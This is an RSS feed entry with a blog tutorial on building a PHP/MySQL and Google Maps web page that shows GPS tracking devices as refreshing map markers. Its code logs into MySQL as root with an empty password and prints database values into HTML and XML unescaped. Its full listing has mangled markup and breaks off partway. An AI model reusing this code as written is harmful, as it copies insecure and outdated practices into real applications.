		<description><![CDATA[In the previous article we have discussed the global architecture of the GPS Tracking system which consists of the Tracking Device and Monitoring Application. In this article we will discuss about the GPS Tracking Application Monitoring. Introduction The monitoring application will display a Marker on the map view provided by Google Map. This Marker represents [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>In the previous article we have discussed the global architecture of the GPS Tracking system which consists of the Tracking Device and Monitoring Application. In this article we will discuss about the GPS Tracking Application Monitoring.</p>
<p> <span id="more-643"></span>
</p>
<h2>Introduction</h2>
<p>The monitoring application will display a Marker on the map view provided by Google Map. This Marker represents the last position of the GPS Tracking Device. Marker coordinate data is taken from a table on a database which contains last GPS position data and is constantly updated by the GPS Tracking Device so that the information obtained is always the up to date position.</p>
<p>The monitoring application consists of several parts that can be described as follows.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image0021.gif"><img title="Arsitektur Aplikasi Pemantau" border="0" alt="Arsitektur Aplikasi Pemantau" src="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image002_thumb1.gif" width="520" height="312" /></a></p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="204"><strong>Section </strong></td>
<td valign="top" width="295"><strong>Description </strong></td>
</tr>
<tr>
<td valign="top" width="204"><strong>File viewer.php</strong><strong> File viewer.php </strong></td>
<td valign="top" width="295">This is the main file of the monitoring application. This file consists of the Google Map Object. There is a definition of the timer that will call the lastpos.xml.php file periodically. On each periodic time, the display on the Google Map Marker Object will be updated with the latest position data in the database</td>
</tr>
<tr>
<td valign="top" width="204"><strong>File lastpos.xml.php</strong><strong> File lastpos.xml.php </strong></td>
<td valign="top" width="295">This file is used to read data from the database and generate output data in the form of XML to be used by a Google Map to display the Object Marker on a certain position.</td>
</tr>
<tr>
<td valign="top" width="204"><strong>Google Map Object</strong><strong> Google Map Object </strong></td>
<td valign="top" width="356">Google Map object that is used for displaying a map on a coordinate position and a zoom level.</td>
</tr>
</tbody>
</table>
<p>Next let us study in detail the functional part of each Monitoring Application.</p>
<h2>User Interface Design</h2>
<p>Here is a display of user interface design for the monitoring application that we are going to build.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image0042.gif"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="clip_image002[4]" border="0" alt="clip_image002[4]" src="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image0024.gif" width="240" height="191" /></a></p>
<p>The user interface is very simple, consisting only of the Google Map object, the list box that contains the code of the moving objects that will be observed, and one button to zoom the map that will move the position of Google Map with a center point, that is the coordinates of the selected objects selected in the list box. Besides that, we will also see the information box that contains the detail information about the selected moving objects such as code, coordinates, time, and so forth.</p>
<h2>Google Map Object initialization</h2>
<p>Note the program source code below, which is a fragment of the file <strong>viewer.php.</strong></p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html <span class="kw2">PUBLIC</span> <span class="st0">&quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;</span> <span class="st0">&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;</span>&gt;&lt;html xmlns=<span class="st0">&quot;http://www.w3.org/1999/xhtml&quot;</span>&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=<span class="st0">&quot;content-type&quot;</span> content=<span class="st0">&quot;text/html; charset=utf-8&quot;</span>/&gt;<br />
&lt;title&gt;Sistem Pemantau GPS Tracking&lt;/title&gt;<br />
&lt;script src=<span class="st0">&quot;http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;key=abcde&quot;</span> type=<span class="st0">&quot;text/javascript&quot;</span>&gt;&lt;/script&gt;<br />
&lt;script type=<span class="st0">&quot;text/javascript&quot;</span>&gt;<br />
<span class="co1">//&lt;![CDATA[</span><br />
&nbsp; &nbsp;<span class="kw2">var</span> map = <span class="kw2">null</span>;<br />
&nbsp; &nbsp;<span class="kw2">var</span> timeOut=<span class="kw2">null</span>;<br />
&nbsp; &nbsp;<span class="kw2">var</span> markers=<span class="br0">&#91;</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp;<span class="kw2">var</span> htmls=<span class="br0">&#91;</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp;<span class="kw2">function</span> load<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp;<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>GBrowserIsCompatible<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; map = <span class="kw2">new</span> GMap2<span class="br0">&#40;</span>document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;map&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.<span class="me1">setCenter</span><span class="br0">&#40;</span><span class="kw2">new</span> GLatLng<span class="br0">&#40;</span><span class="nu0">-6.8790</span>, <span class="nu0">107.63520</span><span class="br0">&#41;</span>, <span class="nu0">12</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.<span class="me1">enableScrollWheelZoom</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.<span class="me1">addControl</span><span class="br0">&#40;</span><span class="kw2">new</span> GSmallMapControl<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.<span class="me1">addControl</span><span class="br0">&#40;</span><span class="kw2">new</span> GMapTypeControl<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>; <br />
&nbsp; &nbsp; &nbsp; &nbsp; refreshMarkers<span class="br0">&#40;</span><span class="br0">&#41;</span>;<span class="br0">&#125;</span><br />
&nbsp; <span class="br0">&#125;</span><br />
<span class="co1">//]]&gt;</span><br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body <span class="kw3">onload</span>=<span class="st0">&quot;load()&quot;</span> <span class="kw3">onunload</span>=<span class="st0">&quot;GUnload()&quot;</span>&gt;&lt;div id=<span class="st0">&quot;map&quot;</span> style=<span class="st0">&quot;width: 400px; height: 400px&quot;</span>&gt;Loading&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p align="left">
<div style="padding-right: 20px; float: left"><iframe style="border-bottom: medium none; border-left: medium none; border-top: medium none; border-right: medium none" height="600" marginheight="0" border="0" src="http://rcm.amazon.com/e/cm?t=vitrainingcom-20&amp;o=1&amp;p=14&amp;l=st1&amp;mode=books&amp;search=google%20map&amp;fc1=000000&amp;lt1=&amp;lc1=3366FF&amp;bg1=FFFFFF&amp;f=ifr" frameborder="0" width="160" marginwidth="0" scrolling="no"></iframe></div>
<p><!-- Adsense End --></p>
<p>On the line 10-13 variable initialization is done:</p>
<ol>
<li>map : the Google Map object variables </li>
<li>timeOut: timer variable </li>
<li>markers : an array that holds all the Marker on the map </li>
<li>htmls : an array that holds all the HTML data for the information box of all existing Marker on the map </li>
</ol>
<p>On the line 15-28 defined load () function, which is first called when the HTML document is downloaded by the user. The following is done here:</p>
<ol>
<li>at line 19: make a Google Map object and store it in the variable map </li>
<li>at line 20: make the map object reacts to a button on the mouse wheel, that is if the button on the mouse wheel will cause the map to play in the zoom in and out. This is done by calling enableScrollWheelZoom() method </li>
<li>at line 21: added a map of the area control can be used to replace, men-in and zoom out the map. This is done by calling addControl () method with the parameter object GSmallMapControl. </li>
<li>On line 22: added a control area that can be used to select the type of map if the road map, satellite images, or both. This is done by calling addControl() method with the parameter object GMapTypeControl. </li>
<li>at line 23: we make a determination of the center map setCenter() method and select the type of map of the combined map and satellite map of the road (hybrid) with the method setMapType(). </li>
<li>after the initialization is done, we call the function refreshMarkers() to display the Marker which is the correct representation of the moving objects that we want to monitor. </li>
</ol>
<h2>Displaying Marker from database</h2>
<p>This is done by two functions: refreshMarkers() and createMarker(). Note the source code below, which also is part of the file <strong>viewer.php.</strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> refreshMarkers<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp;clearTimeout<span class="br0">&#40;</span>timeOut<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;GDownloadUrl<span class="br0">&#40;</span><span class="st0">&quot;lastpos.xml.php&quot;</span>, <span class="kw2">function</span><span class="br0">&#40;</span>data, responseCode<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw2">var</span> fetch=<span class="nu0">0</span>;<br />
&nbsp; &nbsp; window.<span class="kw3">status</span>= responseCode + <span class="st0">&#8216;:&#8217;</span> + fetch++;<br />
&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>responseCode != <span class="nu0">200</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><span class="kw1">return</span>;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i=<span class="nu0">0</span>; i&lt;markers.<span class="me1">length</span>; i++<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; map.<span class="me1">removeOverlay</span><span class="br0">&#40;</span>markers<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw2">var</span> xml = GXml.<span class="me1">parse</span><span class="br0">&#40;</span>data<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw2">var</span> xmarkers = xml.<span class="me1">documentElement</span>.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">&quot;marker&quot;</span><span class="br0">&#41;</span>; <br />
&nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i = <span class="nu0">0</span>; i &lt; xmarkers.<span class="me1">length</span>; i++<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">var</span> label = xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;label&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw2">var</span> point = <span class="kw2">new</span> &nbsp;GLatLng<span class="br0">&#40;</span>parseFloat<span class="br0">&#40;</span>xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;lat&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>, parseFloat<span class="br0">&#40;</span>xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;lon&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp;map.<span class="me1">addOverlay</span><span class="br0">&#40;</span>createMarker<span class="br0">&#40;</span>point, i, label<span class="br0">&#41;</span> <span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
timeOut=setTimeout<span class="br0">&#40;</span><span class="st0">&quot;refreshMarkers()&quot;</span>,<span class="nu0">5000</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div>
<p>The above source code displays refreshMarkers() function that will be called by the load() function as noted before.</p>
<p>The first thing that will be done each time the function is called is to turn off the timer if it’s already defined on timeOut variable. Look at line 3.</p>
<p>Next on line 5 the function GDownloadUrl() is called. The invoked URL is the <strong>lastpos.xml.php</strong> file that is the file which will output a data in the form of XML that contains coordinates information for the markers which represents the moving object to be observed. This is a simple example of the lastpos.xml.php:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">&lt;?</span><br />
<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span>,<span class="st0">&quot;root&quot;</span>,<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">&quot;dijexi_gps&quot;</span><span class="br0">&#41;</span>;<br />
<span class="re0">$sql</span>=<span class="st0">&quot;select * from lastpos order by id&quot;</span>;<br />
<span class="re0">$res</span>=<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><a href="http://www.php.net/mysql_error"><span class="kw3">mysql_error</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&#8216;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#8217;</span>;<br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;markers&gt;<span class="es0">\n</span>&quot;</span>;<br />
<span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$row</span>=<a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$res</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp;<span class="re0">$unit_id</span> =<span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">&#8216;unit_id&#8217;</span><span class="br0">&#93;</span>;<br />
&nbsp;<span class="re0">$latitude</span> =<span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">&#8216;lat&#8217;</span><span class="br0">&#93;</span>;<br />
&nbsp;<span class="re0">$longitude</span> &nbsp;=<span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">&#8216;lon&#8217;</span><span class="br0">&#93;</span>;<br />
&nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&#8216;&lt;marker lat=&quot;&#8217;</span>.<span class="re0">$latitude</span>.<span class="st0">&#8216;&quot; lon=&quot;&#8217;</span>.<span class="re0">$longitude</span>.<span class="st0">&#8216;&quot; label=&quot;&#8217;</span>.<span class="re0">$unit_id</span>.<span class="st0">&#8216;&quot; /&gt; &#8216;</span>;<br />
<span class="br0">&#125;</span><br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;/markers&gt;<span class="es0">\n</span>&quot;</span>;<br />
<span class="kw2">?&gt;</span></div>
<p>After downloading the data, this function will execute a function defined at it’s second parameter by giving it’s input parameter as the data obtained from the download and the responseCode (from the server).</p>
<p>This function the handle the data downloaded as shown from the line 6. First, it will show an information on the status bar about the response code to make it easy for debugging, especially if the download process from the URL was failed, which is the responseCode was not 200.</p>
<p>If the download was failed, the program is simply exits and wait for the next timer event, as seen on the line 7-10.</p>
<p>At line 12-15 we destroy all existing markers stored on the array variable markers. This is done by invoking removeOverlays() method of the map object for the markers with index i, where i begins from 0 until the size of the array element ot markers, the markers.length.</p>
<p>At line 17 we do the parsing of the XML data resulted from the download into a variable of type XML data called xml, which is done by parse() mehtod of the Gxml object.</p>
<p>After successfully parsed, the data in the object variable xml can be read to get any data element on it. For example at line 18, we read the element named “marker”, which is done by invoking getElementsByTagName(”marker”) method of the documentElement object contained in the xml object. The data element of the XML is then stored on JavaScript array variable called xmarkers.</p>
<p>After successfully read the element then we can do a looping through all xmarkers array elements to get the attributes of the XML. This is done at line 19 – 25, which are setting up a variable i that begins from 0 until the size of array xmarkers, that is xmarkers.length.</p>
<p>At every loop, we read the attribute “label” that exists on every XML element data. We do this by calling getAttribute(”label”) method on xmarkers object with index i. This Attribute is then stored on variable called “label”.</p>
<p>Next, at line 21-23 we also get the “lat” and “lon” attribute from every XML element data . But this time, the attribute is to be converted from string into float with the parseFloat() function, and is used as a parameter for creating a new object with type of GLatLng() and stored on a variable “point”.</p>
<p>At line 24, the “point” variable is used as a parameter for createMarker() function which is to be explained later. The Function createMarker() results a data with GMarker type which can be used to display a marker on the Google Map by calling addOverlay() method.</p>
<p>At line 28 we can see:</p>
<div class="dean_ch" style="white-space: wrap;">TimeOut = setTimeout<span class="br0">&#40;</span><span class="st0">&quot;refreshMarkers()&quot;</span>,<span class="nu0">5000</span><span class="br0">&#41;</span>;</div>
<p>This is a JavaScript command that define a timer which will execute the function refreshMarkers() every period of time, i.e 5000 ms.</p>
<p>The command itself is executed inside the body of refreshMarkers() function that will cause an infinite loop of timer events.</p>
<p>Next, this is the complete definition of createMarker() function which will be used to create a new object with type of GMarker and a parameter.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> createMarker<span class="br0">&#40;</span>point, index, label<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span> <br />
<span class="kw2">var</span> marker = <span class="kw2">new</span> GMarker<span class="br0">&#40;</span>point <span class="br0">&#41;</span>; <br />
<span class="kw2">var</span> html= <span class="st0">&quot;&lt;pre&gt;&quot;</span>+label+<span class="st0">&quot;&lt;/pre&gt;&quot;</span>;<br />
GEvent.<span class="me1">addListener</span><span class="br0">&#40;</span>marker, <span class="st0">&quot;click&quot;</span>, <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
marker.<span class="me1">openInfoWindowHtml</span><span class="br0">&#40;</span>html<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
markers<span class="br0">&#91;</span>index<span class="br0">&#93;</span>=marker;<br />
htmls<span class="br0">&#91;</span>index<span class="br0">&#93;</span>=html;<br />
<span class="kw1">return</span> marker;<br />
<span class="br0">&#125;</span></div>
<p>The createMarker() function will be called by refreshMarkers() function as described before. This function can then be modified to result an object marker with a custom icon and not a standard icon from Google Map.</p>
<p>At line 1 is the definition of createMarker() function that have point parameter that represents the coordinate information on where the marker will be plotted on the map, an index that represents the index of the marker, and a label that will be displayed on the information box for that marker.</p>
<p>At line 2 we create a variable marker of type GMarker() object at the coordinate defined by point variable.</p>
<p>At line 3 we define a variable html that contains “&lt;pre&gt;” and the label variable taken from the function parameter and end it with “&lt;/pre&gt;”.</p>
<p>At line 4 we register a new event with the help of Gevent.addListener for the marker object on “click” event. What will be done when the object marker receive a mouse click is to invoke the function that contains the command marker.openInfoWindowHtml(). This will result: when the marker is clicked then an information box will appear with the marker information on it.</p>
<p>At line 5-6 we store the new marker on the JavaScript array markers[] and the labels for the informatin box on the JavaScript array htmls[]. Both variable will be used when the user interface need to select one of the markers exists on the Google Map.</p>
<p>At line 13 the function returns the result which is the object marker with type of GMarker recently created before.</p>
<h2>List of Objects monitored</h2>
<p>As on the specification, we need a list box that lists the moving objects to be monitored. We can choose one object from the list and click Zoom To to display the object on the map by moving Google Map to the object’s coordinate.</p>
<p>Below is the source code to creating the list box which read the data from lastpos table.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;div id=<span class="st0">&quot;controller&quot;</span> style=<span class="st0">&quot;position:absolute; left:400px; top:10px&quot;</span>&gt;<br />
&lt;form&gt; &lt;select <span class="kw3">name</span>=<span class="st0">&quot;unit_id&quot;</span> multiple&gt; &nbsp;&lt;?<br />
&nbsp; &nbsp; mysql_connect<span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span>,<span class="st0">&quot;root&quot;</span>,<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;<br />
mysql_select_db<span class="br0">&#40;</span><span class="st0">&quot;dijexi_gps&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp;$sql=<span class="st0">&quot;select concat(unit_id,&#8217;|',lat,&#8217;|',lon), unit_id from lastpos order by id asc&quot;</span>;<br />
$rs = mysql_query<span class="br0">&#40;</span>$sql<span class="br0">&#41;</span> or die<span class="br0">&#40;</span>mysql_error<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
<span class="kw1">while</span> <span class="br0">&#40;</span>$row=mysql_fetch_row<span class="br0">&#40;</span>$rs<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp;<span class="br0">&#123;</span><br />
echo <span class="st0">&quot;&lt;option value =&#8217;&quot;</span> . $row<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> . <span class="st0">&quot;&#8217;&gt;&quot;</span> . $row<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;<br />
<span class="br0">&#125;</span><br />
?&gt;<br />
&lt;/select&gt;<br />
&lt;p&gt;<br />
&lt;input type=<span class="st0">&quot;button&quot;</span> value=<span class="st0">&quot;Zoom To&quot;</span> onClick=<span class="st0">&quot;zoomTo(this.form.unit_id.selectedIndex ,this.form.unit_id.value)&quot;</span>&gt;<br />
&lt;/form&gt;<br />
&lt;/div&gt;</div>
<p>Note on the PHP code to read the data and display them into a list box. At line 5 we define an SQL command to be sent to MySQL to result a data that consists of 2 fields:</p>
<ol>
<li>the one that contained the concatenation of field unit_id, lat, and lon separated by pipe character “|”, which in here we use MySQL function CONCAT(). This field will be used as an identification of the item to be selected from list box as the “value” for that list box </li>
<li>field unit_id, to be used as the label for the list box </li>
</ol>
<p>At line 7-11 there are a PHP commands to generated all query result from the SQL command to create a HTML syntax to display a list box as specified.</p>
<p>At line 15-17 there are HTML syntax to display a “Zoom To” button that will execute JavaScript zoomTo() function when clicked, with a parameter index of the item chosen from the list box, and the value of that item. The value of that item is the concatenation of unit_id, lat, and lon separated by pipe character “|”.</p>
<p>Below is the zoomTo() function needed above:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> myclick<span class="br0">&#40;</span>i<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
markers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">openInfoWindowHtml</span><span class="br0">&#40;</span>htmls<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span> </p>
<p><span class="kw2">function</span> zoomTo<span class="br0">&#40;</span>index, unit_id<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
<span class="kw1">if</span><span class="br0">&#40;</span>unit_id==<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="kw3">alert</span><span class="br0">&#40;</span><span class="st0">&#8216;Please select Unit ID&#8217;</span><span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">return</span> ;<br />
<span class="br0">&#125;</span><br />
<span class="kw2">var</span> temp = <span class="kw2">new</span> Array<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
temp = unit_id.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">&#8216;|&#8217;</span><span class="br0">&#41;</span>;<br />
<span class="kw2">var</span> p=<span class="kw2">new</span> GLatLng<span class="br0">&#40;</span>parseFloat<span class="br0">&#40;</span>temp<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>, parseFloat<span class="br0">&#40;</span>temp<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;map.<span class="me1">setCenter</span><span class="br0">&#40;</span>p,<span class="nu0">13</span><span class="br0">&#41;</span>;<br />
myclick<span class="br0">&#40;</span>index<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div>
<p>Note at line 5, we define the zoomTo() function. The function is to be called when the “Zoom To” button is clicked that will make Google Map to have a center point to be the same as the coordinate of the object selected from the list box and the do the zoom at a certain level.</p>
<p>At line 7-10 we do the checking of whether the parameter variable unit_id is not empty, which means that whether a user has chosen one of the item from the list box before. If not, then just exits from the function.</p>
<p>At line 12-13 we define an array variable temp to store the data from the separation of the variable unit_id with pipe character “|”. The results are the temp variable which has 3 element: unit_id, latitude, and longitude.</p>
<p>At line 14, we create an object variable p of type GLatLng() with parameter temp[1] and temp[2] which are lat and lon defined and converted info float by parseFloat() function before.</p>
<p>At line 15 we set the center point for Google Map to be the coordinate of the p variable which is the same as the cooirdinate of the item chosen at zoom level 13. The result is the map will move and show the marker right at the center.</p>
<p>At line 18 we call the function myClick() with the parameter index which is the variable of the zoomTo() parameter. This is the index of the list box item chosen by user.</p>
<p>Function myClick() is used to show the information box of a marker by calling openInfoWindowHtml() method of the marker. If we remember at the createMarker() function, we have assigned array variable markers[] and htmls[] with marker objects and the label for each markers.</p>
<p>On this myClick() function, that array is used again using the index taken from the list box index. One thing to be noted is that the index of the array markers[] and htmls[] must refer to the same index with the one at the list box, which in this case when we define the SQL command to read the data from lastpos tabel before.</p>
<h2>The Completed File viewer.php</h2>
<p>Below is the source code of the file viewer.php as described above.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html <span class="kw2">PUBLIC</span> <span class="st0">&quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;</span> <span class="st0">&quot;&lt;A href=&#8217;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;</span><span class="st0">&#8216; jQuery1246946979000=&quot;3&quot;&gt;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&lt;/A&gt;&gt;<br />
&lt;html xmlns=&quot;&lt;A href=&#8217;</span>http:<span class="co1">//www.w3.org/1999/xhtml&quot;&#8217; jQuery1246946979000=&quot;4&quot;&gt;http://www.w3.org/1999/xhtml&quot;&lt;/A&gt;&gt;</span><br />
&lt;head&gt;<br />
&lt;meta http-equiv=<span class="st0">&quot;content-type&quot;</span> content=<span class="st0">&quot;text/html; charset=utf-8&quot;</span>/&gt;<br />
&lt;title&gt;Sistem Pemantau GPS Tracking&lt;/title&gt;<br />
&lt;script src=<span class="st0">&quot;http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;key=abce&quot;</span> type=<span class="st0">&quot;text/javascript&quot;</span>&gt;&lt;/script&gt;<br />
&lt;script type=<span class="st0">&quot;text/javascript&quot;</span>&gt;<br />
<span class="co1">//&lt;![CDATA[</span><br />
<span class="kw2">var</span> map = <span class="kw2">null</span>;<br />
<span class="kw2">var</span> timeOut=<span class="kw2">null</span>;<br />
<span class="kw2">var</span> markers=<span class="br0">&#91;</span><span class="br0">&#93;</span>;<br />
<span class="kw2">var</span> htmls=<span class="br0">&#91;</span><span class="br0">&#93;</span>; </p>
<p><span class="kw2">function</span> load<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span>GBrowserIsCompatible<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp;map = <span class="kw2">new</span> GMap2<span class="br0">&#40;</span>document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;map&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;map.<span class="me1">setCenter</span><span class="br0">&#40;</span><span class="kw2">new</span> GLatLng<span class="br0">&#40;</span><span class="nu0">-6.8790</span>, <span class="nu0">107.63520</span><span class="br0">&#41;</span>, <span class="nu0">12</span><span class="br0">&#41;</span>;<br />
map.<span class="me1">enableScrollWheelZoom</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp;map.<span class="me1">addControl</span><span class="br0">&#40;</span><span class="kw2">new</span> GSmallMapControl<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
map.<span class="me1">addControl</span><span class="br0">&#40;</span><span class="kw2">new</span> GMapTypeControl<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;refreshMarkers<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span> </p>
<p><span class="kw2">function</span> refreshMarkers<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span><br />
clearTimeout<span class="br0">&#40;</span>timeOut<span class="br0">&#41;</span>;<br />
GDownloadUrl<span class="br0">&#40;</span><span class="st0">&quot;data.xml&quot;</span>, <span class="kw2">function</span><span class="br0">&#40;</span>data, responseCode<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="kw2">var</span> fetch=<span class="nu0">0</span>;<br />
&nbsp;window.<span class="kw3">status</span>= responseCode + <span class="st0">':'</span> + fetch++;<br />
&nbsp;<span class="kw1">if</span><span class="br0">&#40;</span>responseCode != <span class="nu0">200</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
<span class="kw1">return</span>;<br />
&nbsp;<span class="br0">&#125;</span><br />
&nbsp;<span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i=<span class="nu0">0</span>; i&lt;markers.<span class="me1">length</span>; i++<span class="br0">&#41;</span><br />
&nbsp;<span class="br0">&#123;</span><br />
map.<span class="me1">removeOverlay</span><span class="br0">&#40;</span>markers<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="kw2">var</span> xml = GXml.<span class="me1">parse</span><span class="br0">&#40;</span>data<span class="br0">&#41;</span>;<br />
